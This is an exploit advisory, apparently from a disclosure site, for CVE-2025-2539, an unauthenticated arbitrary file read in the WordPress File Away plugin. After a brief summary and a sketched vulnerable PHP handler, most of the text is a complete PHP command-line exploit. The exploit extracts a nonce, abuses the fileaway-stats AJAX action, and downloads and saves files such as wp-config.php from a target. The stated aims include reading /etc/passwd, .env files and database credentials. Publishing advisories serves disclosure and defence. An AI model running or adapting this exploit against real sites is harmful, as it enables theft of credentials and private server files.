📄 WordPress File Away 3.9.9.0.1 Arbitrary File Read

=============================================================================================================================================
    | # Title     : WordPress File Away Plugin <= 3.9.9.0.1 - unauthorized access Vulnerability                                                 |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://wordpress.org/plugins/file-away/                                                                                    |
    =============================================================================================================================================
    
    POC : 
    
    [+] References : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-2539  
    
                     https://packetstorm.news/files/id/196941/
    
                     https://wpscan.com/vulnerability/12350
    
    
    [+] Summary
       
        A critical arbitrary file read vulnerability exists in the WordPress File Away plugin version 3.9.9.0.1 and earlier. 
    	The vulnerability allows unauthenticated attackers to read arbitrary files from the server file system through improper access control in the fileaway-stats AJAX endpoint.
    
    [+] Technical Description
    
    The vulnerability exists in the File Away plugin's fileaway-stats AJAX endpoint, which fails to properly validate and restrict file access. The plugin exposes a file reading functionality that can be exploited to:
    
    1. Extract sensitive configuration files (wp-config.php)
    2. Read system files (/etc/passwd)
    3. Access environment files (.env)
    4. Retrieve database credentials and API keys
    
    [+] Vulnerable Code Pattern:
    
    ```php
    // In /wp-content/plugins/file-away/lib/fileaway.php
    add_action('wp_ajax_nopriv_fileaway-stats', 'fileaway_stats_callback');
    
    function fileaway_stats_callback() {
        $nonce = $_POST['nonce'];
        $file = $_POST['file'];
        
        // Nonce verification can be bypassed or is insufficient
        if (!wp_verify_nonce($nonce, 'fileaway_stats_nonce')) {
            // Nonce check may fail but execution continues
        }
        
        // No file path validation or access control
        $content = file_get_contents($file);
        
        // Returns file content directly
        echo json_encode($content);
        wp_die();
    }
    
    [+] Usage: 
    
    Usage: php poc.php https://victim.com wp-config.php
    
    [+] POC :
    
    <?php
    /**
     * CVE-2025-2539 Exploit - File Away <= 3.9.9.0.1 Arbitrary File Read
     * By: indoushka
     */
    
    class FileAwayExploit {
        private $colors;
        
        public function __construct() {
            $this->colors = [
                'RED'     => "\033[91m",
                'GREEN'   => "\033[92m",
                'YELLOW'  => "\033[93m",
                'BLUE'    => "\033[94m",
                'MAGENTA' => "\033[95m",
                'CYAN'    => "\033[96m",
                'WHITE'   => "\033[97m",
                'BOLD'    => "\033[1m",
                'RESET'   => "\033[0m"
            ];
        }
        
        private function color($text, $color) {
            return $this->colors[$color] . $text . $this->colors['RESET'];
        }
        
        private function showBanner() {
            $banner = $this->color("
    
                                                                          
    ", 'CYAN') . 
    $this->color("
    
    ", 'MAGENTA') .
    $this->color("\n                    @indoushka\n\n", 'WHITE');
    
            echo $banner . "\n";
        }
        
        private function makeRequest($url, $method = 'GET', $data = null, $headers = []) {
            $contextOptions = [
                'http' => [
                    'method' => $method,
                    'header' => implode("\r\n", $headers),
                    'timeout' => 10,
                    'ignore_errors' => true
                ],
                'ssl' => [
                    'verify_peer' => false,
                    'verify_peer_name' => false
                ]
            ];
            
            if ($method === 'POST' && $data) {
                $contextOptions['http']['content'] = http_build_query($data);
                $contextOptions['http']['header'] .= "\r\nContent-Type: application/x-www-form-urlencoded";
            }
            
            $context = stream_context_create($contextOptions);
            $response = @file_get_contents($url, false, $context);
            
            if ($response === false) {
                return ['success' => false, 'error' => 'Request failed'];
            }
            
            return ['success' => true, 'content' => $response];
        }
        
        private function extractNonce($html) {
            // Look for fileaway_stats nonce in the HTML
            if (preg_match('/var\s+fileaway_stats\s*=\s*\{[^}]*"nonce":"([0-9a-f]+)"/', $html, $matches)) {
                return $matches[1];
            }
            return null;
        }
        
        private function cleanResponse($response) {
            // Remove backslashes and quotes
            $cleaned = str_replace('\\', '', $response);
            $cleaned = trim($cleaned, '"');
            return $cleaned;
        }
        
        private function sanitizeFilename($filename) {
            // Remove protocol and special characters for safe filename
            $sanitized = preg_replace('/^https?:\/\//', '', $filename);
            $sanitized = preg_replace('/[^a-zA-Z0-9._-]/', '_', $sanitized);
            return $sanitized;
        }
        
        public function execute($target, $filename) {
            $this->showBanner();
            
            echo $this->color("[*] Target: ", 'BLUE') . $target . "\n";
            echo $this->color("[*] File to read: ", 'BLUE') . $filename . "\n";
            
            // Step 1: Get fileaway-stats nonce
            echo $this->color("[*] Extracting fileaway_stats nonce...", 'YELLOW') . "\n";
            
            $response = $this->makeRequest($target);
            if (!$response['success']) {
                echo $this->color("[!] Failed to extract fileaway_stats nonce", 'RED') . "\n";
                exit(1);
            }
            
            $nonce = $this->extractNonce($response['content']);
            if (!$nonce) {
                echo $this->color("[!] Failed to extract fileaway_stats nonce", 'RED') . "\n";
                exit(1);
            }
            
            echo $this->color("[+] Nonce found: ", 'GREEN') . $nonce . "\n";
            
            // Step 2: Exploit arbitrary file read
            echo $this->color("[*] Sending fileaway-stats request...", 'YELLOW') . "\n";
            
            $ajaxUrl = rtrim($target, '/') . '/wp-admin/admin-ajax.php';
            $postData = [
                'action' => 'fileaway-stats',
                'nonce' => $nonce,
                'file' => $filename
            ];
            
            $response = $this->makeRequest($ajaxUrl, 'POST', $postData);
            if (!$response['success']) {
                echo $this->color("[!] Failed to send fileaway-stats request", 'RED') . "\n";
                exit(1);
            }
            
            $fileUrl = $this->cleanResponse($response['content']);
            
            if (empty($fileUrl)) {
                echo $this->color("[!] Failed to extract file URL from response", 'RED') . "\n";
                exit(1);
            }
            
            echo $this->color("[+] Retrieved file URL: ", 'GREEN') . $fileUrl . "\n";
            
            // Step 3: Download file content
            echo $this->color("[*] Downloading file content...", 'YELLOW') . "\n";
            
            $fileResponse = $this->makeRequest($fileUrl);
            if (!$fileResponse['success']) {
                echo $this->color("[!] Failed to download file content", 'RED') . "\n";
                exit(1);
            }
            
            $content = $fileResponse['content'];
            
            // Save file
            $outputFilename = $this->sanitizeFilename($target) . '_' . basename($filename);
            if (file_put_contents($outputFilename, $content) !== false) {
                echo $this->color("[+] File saved as: ", 'GREEN') . $outputFilename . "\n";
            } else {
                echo $this->color("[!] Failed to save file", 'RED') . "\n";
            }
            
            // Step 4: Show file content
            echo $this->color("\n[*] File content:", 'CYAN') . "\n";
            echo $this->color(str_repeat("=", 50), 'CYAN') . "\n";
            echo $content . "\n";
            echo $this->color(str_repeat("=", 50), 'CYAN') . "\n";
        }
    }
    
    // Main execution
    if (php_sapi_name() === 'cli') {
        if ($argc !== 3) {
            echo "CVE-2025-2539 - File Away Arbitrary File Read Exploit\n";
            echo "Usage: php exploit.php <target_url> <file_to_read>\n";
            echo "Example: php exploit.php https://victim.com wp-config.php\n";
            echo "\nDescription:\n";
            echo "  This exploit targets File Away WordPress plugin <= 3.9.9.0.1\n";
            echo "  allowing arbitrary file read through the fileaway-stats AJAX endpoint.\n";
            exit(1);
        }
        
        $target = $argv[1];
        $filename = $argv[2];
        
        // Validate target URL
        if (!filter_var($target, FILTER_VALIDATE_URL)) {
            echo "Error: Invalid target URL\n";
            exit(1);
        }
        
        $exploit = new FileAwayExploit();
        $exploit->execute($target, $filename);
    } else {
        echo "This script is intended for command line use only.\n";
    }
    ?>
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================